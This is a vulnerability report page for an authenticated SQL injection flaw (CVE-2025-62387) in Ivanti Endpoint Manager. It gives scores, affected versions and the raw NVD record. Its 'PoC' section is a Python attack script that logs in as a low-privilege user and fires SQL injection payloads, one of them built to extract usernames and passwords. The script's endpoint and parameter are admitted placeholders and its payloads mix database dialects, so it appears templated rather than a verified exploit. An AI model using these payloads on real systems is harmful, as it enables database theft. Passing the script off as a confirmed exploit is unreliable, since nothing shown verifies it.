Security Vulnerability Report
中文
CVE-2025-62387 CVSS 6.5 MEDIUM

CVE-2025-62387

Published: 2025-10-13 22:15:35
Last Modified: 2026-02-10 18:16:21
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

SQL injection in Ivanti Endpoint Manager before version 2024 SU5 allows a remote authenticated attacker to read arbitrary data from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:* - VULNERABLE
Ivanti Endpoint Manager < 2024 SU5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62387 - Ivanti Endpoint Manager SQL Injection PoC # Vulnerability: SQL Injection in Ivanti EPM before 2024 SU5 # CVSS: 6.5 (MEDIUM) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N import requests import sys TARGET_URL = "https://target-epm-server" USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_sqli(session, target_endpoint, inject_param, payload): """ Exploit SQL injection to extract data from Ivanti EPM database. """ # Step 1: Authenticate with low-privilege credentials login_url = f"{TARGET_URL}/api/v1/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, json=login_data, verify=False) if resp.status_code != 200: print(f"[-] Authentication failed: {resp.status_code}") return None print("[+] Authenticated successfully with low-privilege account") # Step 2: Inject SQL payload into vulnerable parameter inject_url = f"{TARGET_URL}{target_endpoint}" params = {inject_param: payload} # Example: UNION-based injection to extract database version # payload = "1' UNION SELECT @@version,2,3-- -" resp = session.get(inject_url, params=params, verify=False) if resp.status_code == 200: print(f"[+] Data extracted: {resp.text[:500]}") return resp.text return None def main(): session = requests.Session() session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "application/json" }) # Example injection payloads payloads = [ # Boolean-based blind injection "1' AND 1=1-- -", # UNION-based injection "1' UNION SELECT username,password,NULL FROM ldap_user-- -", # Time-based blind injection "1'; WAITFOR DELAY '0:0:5'-- -", # Stacked queries (if supported) "1'; SELECT TOP 1 table_name FROM information_schema.tables-- -" ] # Adjust endpoint and parameter based on actual vulnerable location endpoint = "/api/v1/devices/search" param = "filter" for payload in payloads: print(f"\n[*] Testing payload: {payload}") result = exploit_sqli(session, endpoint, param, payload) if result: print("[+] Injection successful!") break if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62387", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2025-10-13T22:15:34.910", "lastModified": "2026-02-10T18:16:20.990", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection in Ivanti Endpoint Manager before version 2024 SU5 allows a remote authenticated attacker to read arbitrary data from the database."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "7ABDE6FE-56CC-4A46-91F2-2F54C3EC6A75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*", "matchCriteriaId": "6C7283FE-C10A-4E37-B004-15FB0CAC49A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:*", "matchCriteriaId": "FC51EEA2-1C4C-4069-9704-7ACFE4773930"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:*", "matchCriteriaId": "E1EF5E1B-9377-49D3-9BE3-62FC78E666A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:*", "matchCriteriaId": "749AADDA-834D-4EC0-B7FF-E136FD1984F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3_security_release_1:*:*:*:*:*:*", "matchCriteriaId": "698BF7A1-62A1-45B5-BF08-AB3F3AA0245C"}]}]}], "references": [{"url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-October-2025", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}